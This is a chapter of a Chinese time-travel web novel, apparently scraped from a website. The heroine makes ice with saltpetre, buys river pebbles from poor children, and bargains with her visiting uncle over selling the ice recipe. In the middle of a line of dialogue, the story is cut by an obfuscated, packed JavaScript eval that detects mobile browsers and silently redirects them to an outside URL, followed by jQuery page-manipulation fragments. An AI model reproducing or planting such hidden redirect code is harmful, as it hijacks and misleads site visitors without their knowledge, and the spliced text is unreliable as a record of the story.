5、舅舅来访


    苏云前世也算得上多才多艺，家境不错，从小就被逼着参加各种培训班，乐器、舞蹈、国画、书法，样样都学。只是后来对乐器更感兴趣，于是就专门学习琵琶，考过了十级，高考时还加了分的。自从上次落水，苏云就有了很强的危险意识，前世虽然练过跆拳道和射箭，但是原主身体太弱，年龄也太小，真正遇到危险，恐怕难以自保。于是每天早上起来跑跑跳跳半个时辰，权作锻炼。弓箭是没有的，她就想了一个法子，用扔石子来代替。《水浒传》中不是有一个没羽箭张清吗？那就是扔石子的。反正柳河边鹅卵石很多，不缺材料。


    次日一早，锻炼之后，吃过早饭，苏云开始了硝石制冰的实验，虽然她知道原理，但是比例却不太清楚，于是先用一小盆水开始，逐渐尝试硝石用量，最终成功制出了冰。王嬷嬷和娟儿都看呆了。好在有龙王的故事打底，冰和水一家人，龙王传授这个技术，想来是说得过去的。


    苏云道：“现在已经四月，天气就快热起来，我们可以靠这个方子，赚上一笔。只是这个方子很简单，太容易仿制，所以我们一定不要在外面去说。”王嬷嬷和娟儿当然知道，以后的好日子，就要靠在这盆冰上，于是齐声道：“奴婢省得的。”


    不一会，杨家小子、二狗几个小孩子在门口叫门，原来娟儿昨晚回来就告诉了他们，让他们捡些花石子来，要给他们买下。杨家小子一大早带着一群小孩，又去河边捡了好一阵，每人捡了十多颗，就来找娟儿要钱。


    苏云让他们进来，第一次进小院子，一群脏兮兮的孩子显得有些局促，虽然院子比较陈旧，但对于这些穷苦人家的小孩来说，除了庄头的院子可以比一下以外，比自家的茅草棚还是华丽不知道多少倍，现在侯府小姐面容和善，再加上龙王让螃蟹跑路的事，他们已经有点像看仙女一样看待苏云了。


    看到一群衣衫褴褛的小孩，苏云微微有些心里不好受，忙叫娟儿端了一碟点心过来让他们吃，每个人分了一块糕点。杨家小子两口就吃完了，二狗掰开，吃了一小半，另一半揣了起来。苏云知道，这肯定又是给他妹子留着的，心里感叹。也没多说别的，直接让杨家小子拿出花石子，十多颗花石子，按照大小成色，分别估价，有一颗特别好看的，个头也大，就算给了他五文一颗，当然，有些次一点的，就算成了一文，这样，十多颗花石子总共给了二十八文，把杨家小子高兴坏了。要知道，成年人到县里打工，忙碌一天，也就二十文，这相当于一个壮劳力差不多一天的工钱了。其他小孩脸上也充满渴望，纷纷要苏云看自己的。苏云笑笑，一个一个看，一个一个算，最后，小孩们都得到不少钱，欢天喜地的跑回家去了。


    看着桌上一堆五光十色的花石子，娟儿一边翻检这看，一边乐得大叫：“小姐，这么多花石子，我们又能卖好多钱了。”王嬷嬷笑骂：“鬼灵精的小丫头，还不赶快收起来。”娟儿笑着找了几个小口袋，按照大小不同把这些石子收了起来。


    苏云道：“娟儿，你告诉杨家小子，以后每天上午只收一次，而且每人最多只收五颗。”娟儿不解：“小姐，孙掌柜不是说有多少收多少吗，为什么每天只收这么一点？”王嬷嬷笑道：“这个你就不知道了，今天的消息传出去，以后不仅是小孩，就是大人也会去捡花石子的，每人给你送几百颗，你收得过来吗？”娟儿想想也是。苏云又道：“这个买卖不会长久的，毕竟河边上的花石子就这么多，再过几日，送过来的就会越来越少了。这不是长久之计，只能暂时过渡一下而已。”


    就这样又过了三天，由于伙食大为改善，苏云她们的脸上都开始肉眼可见显现出几许红润了。经过锻炼，气力并没有增加多少，但是扔石子的准头却越来越好。苏云信心大振，锻炼更加刻苦起来。


    这日午后，一辆马车在柳河边渡口停下，从车里下来一个衣着华贵，身材胖胖的中年人，后面跟着一个长随打扮的汉子。长随大声道：“船家，请问这是柳河庄吗？”何老头正在对岸船上打盹，听得问话，也大声道：“正是，客人这是要进庄子吗？”汉子道：“正是。”


    何老头起身划船，不消片刻就到了对岸，道：“客官请上船。”两人上得船来。何老头道：“客官这是要到庄子里找人？”胖胖中年人道：“正是，我家外甥女就在庄上。”何老头道：“不知是哪家闺女？”中年人道：“正是苏家小姐。”何老头道：“想来也是，庄子上除了苏小姐，不会再有人是客官的外甥女了。”何老头有唠唠叨叨说着苏云关于龙王嘱托的事情，中年人也不答话，只静静听着。没一会，何老头话还没说尽兴，船已经到了对岸。


    中年人下船道：“多谢老人家。”汉子忙掏出几文钱给何老头，何老头双手乱摆道：“不能收，我就是专门撑船的，伙食都是庄子上乡亲们安排的，真不能收。”中年人推让了几句，何老头坚决不收，只得作罢。又问了苏云的住处，带着汉子找上门去了。


    这几日苏云闲着无事，又不像以前一样出去乱晃，于是在家里翻找出了一架古琴，有些陈旧，好在音色着实不错，于是让嬷嬷清理干净，调好琴弦，试着弹奏起来。虽说以前没有弹过古琴，但是看过别人弹，详细的技法不清楚，但是有琵琶的底子，很快就弄通了一些基本的原理，试着摸索了一阵，居然能弹琴成调了，把王嬷嬷和娟儿唬得一愣一愣的。被撵出侯府之时，苏云尚小，并未来得及学习古琴。离开侯府之时，由于古琴是母亲之物，于是也一并带来了庄子上。只是这些年从来没有摸过，现在苏云能摸索着弹琴成调，怎不让王嬷嬷和娟儿吃惊。


    娟儿不知怎么突然来了兴趣，找了一截香点燃，屋里很快弥漫起淡淡的清香。苏云被这气氛感染，弹了一首舒缓的《茉莉花》，优美的曲子响起，娟儿都听呆了。


    一曲完毕，屋里一片寂静，娟儿和王嬷嬷都还没有回过神来，忽然听得外面有人敲门，王嬷嬷这才猛地一震，忙快步去开门，不一会儿回来汇报：“小姐，舅老爷来了。”


    苏云一听，忙道：“快请。”赶紧起身，匆匆整理了一下衣服，王嬷嬷就领着胖胖的中年人就进来了。


    舅舅面白无须，一身书卷气，不像是商贾，倒像是一个儒雅的读书人。


    苏云赶紧上前福了一礼，语带哽咽叫了声：“舅舅。”胖胖的中年人一看苏云，脸庞酷似亡姐，也颇感伤，赶紧道：“云儿免礼。”声音也有些发颤，于是分宾主坐下，娟儿赶紧上茶。


    苏云道：“几年未见舅舅，云儿心里想念得紧，舅舅远途而来，真是辛苦了。”舅舅道：“当年你母亲带你回家看忘外祖母，你才堪堪四、五岁，如今已经长成大姑娘了，可惜你母亲走的早，她要是泉下有知，看到你现在模样，也可以安息了。”说起往事，两人着实伤心了一阵。


    待得情绪平定一些，苏云道：“舅舅此次进京，想必是有生意要忙，不知道能呆多久？”舅舅道：“此次进京，主要是有点生意上的事情要处理，有点棘手，于是去侯府拜访了你父亲，好在侯爷还认我们这门亲戚，出面办妥了。以前也去拜访过侯府，也想着跟老太君请安，都被大夫人挡了回来，也曾问起你，只说是你的八字与老太君相冲，要在庄子上养几年，也不知具体在哪里，所以这些年都不曾来看过你。准备的物事，也是托苏贵代劳，昨日准备回青州，不想苏贵找到我，说是云儿有话，今日一早就赶过来了。带了一些小玩意，云儿不要嫌弃。”说完，让长随把一个大大的包袱拿上来。王嬷嬷看了苏云一样，见苏云微微点头，于是接了过去。


    苏云心中明了，微微欠身道：“柳河庄偏僻，有劳舅舅了。多谢舅舅厚赏。”


    舅舅又道：“都是些小玩意，不值当谢。听说前几日你落水，有一番奇遇？”苏云道：“正是。”于是又把龙王的故事讲述了一遍。舅舅抚掌道：“大难不死，你有这番际遇，日后必然大富大贵，一生顺遂。”


    苏云道：“此次柳河经


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205735|197331||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    历，虽有些因祸得福，但也给我好大包袱。龙王要我把柳河庄变得人人不缺吃喝，不缺衣穿。云儿一介稚童，不受侯府喜爱，自顾不暇，也不知能做些什么？”舅舅道：“既然龙王看好你，必然有他的道理。”


    苏云道：“这几日茶饭无味，端的是怕有负龙王之托。我家大夫人管理侯府中馈，你也知道，大夫人待甥女并不亲厚，侯府是指望不上的。这次请舅舅来，一是叙叙亲情，二来也有求助之意。舅舅放心，不会白白让舅舅为难。龙王给了我一个夏日制冰的方子，随时可制冰，云儿年幼不识货，想请舅舅把把关，看看转让的话，能值多少银两？”


    天气已经慢慢热起来，夏日制冰，必是一门不错的生意。大户人家虽说有冰窖，但冰窖的造价着实不菲，非是顶级人家，也是望洋兴叹，夏日冰块存量极其有限。若是随时能制出冰来出售，这笔买卖真可以说赚得盆满钵满。


    舅舅心里一热，但神色间并未表现出来，道：“夏日售冰，自是一门好生意，只是不知成本几何？”苏云道：“所费甚少。”舅舅道：“如此，这个方子三千两银子应是可以的。”


    苏云笑笑：“舅舅不急，请先安坐，我先去做点冰镇饮品。”让王嬷嬷照看着，自己则与娟儿去到了别的屋里，等了一刻钟，只见苏云端着一个托盘出来，上面放了两个碗，碗里面有大小不一的果脯肉块，娟儿在后面，也端着一个盆子，里面还有不少冰块。


    王嬷嬷赶紧上去，端了一碗水果饮品，放在舅老爷面前。苏云放下托盘坐下，端起碗递过去道：“这是冰镇水果，现在已是春末夏初，应当可以入腹，舅舅请品尝一二。”舅舅端起小碗，里面果肉有黄有白有红，想是用了不同果肉，煞是好看。也禁不住用汤匙舀了一勺，送进口中，顿觉满嘴冰凉，暑气即消，果肉酸甜，果然十分可口。舅舅道：“果然爽口，若是再等一月之后，天气炎热，此饮品必为上上之选。”


    苏云道：“方才听舅舅言，此制冰方子如果转让，可值三千两。此方子是龙王所授，云儿不敢欺瞒，想用此方子为起点，改造柳河庄，完成龙王嘱托。只是三千确是少了些，云儿私下以为可以在万两上下。我想拍卖试试看，不知舅舅以为如何？”舅舅大吃一惊，心道：“这还是我那个娇蛮任性的外甥女吗？什么时候如此有主见了？如果真拿去拍卖，两万两银子只怕也有人抢着要。”忙道：“如果云儿有意转让，舅舅倒是可以五千两拿下。”


    苏云笑笑，道：“舅舅，你我甥舅，自是一家人，不过常言道：亲兄弟，明算帐。又道：生意不成仁义在。云儿只怕有负龙王之托，五千两办不了什么事情。”舅舅道：“不知云儿觉得多少合适？”


    苏云道：“这个方子虽说简单，但夏日倒也是不可缺少的，成本很低，今年卖了，明年还可以卖。虽说难保方子最终不外泄，但独占市场三五年应该是没有问题的。以后就算方子外泄，还可以继续卖，只是竞争大了些，有了自己几年积攒的名气，用心经营，也不是无钱可赚。而且可以和别人划分地盘，这样也还可再独占几年。”


    如此长远考量，居然滴水不漏，舅舅听得大惊失色，暗赞外甥女的商业头脑。当然也从话中感受到苏云的意图。于是并不言语，等苏云继续说。


    苏云继续道：“此方子若是拿去拍卖，虽说麻烦很多，但两万想来不是什么难事，若是舅舅诚心要，不妨开出一个都能接受的价格来。”舅舅完全收起了小觑之心，不敢再把苏云当成小孩，道：“云儿说得不错，有此等好方子，云儿首先想到舅舅，舅舅岂能不领情。只是舅舅最近生意上多有些麻烦，两万两的确有些囊中羞涩。”


    苏云笑笑：“舅舅多虑了。不管怎么说，云儿是舅舅外甥女，虽说商人重利，但我们到底是一家人，打断骨头还连着筋呢。以后相互帮衬的时候必然不少，断不会为了这一个方子伤了和气。云儿这样想的，说与舅舅，舅舅不妨听听，就算生意不成，也望舅舅不要生气。”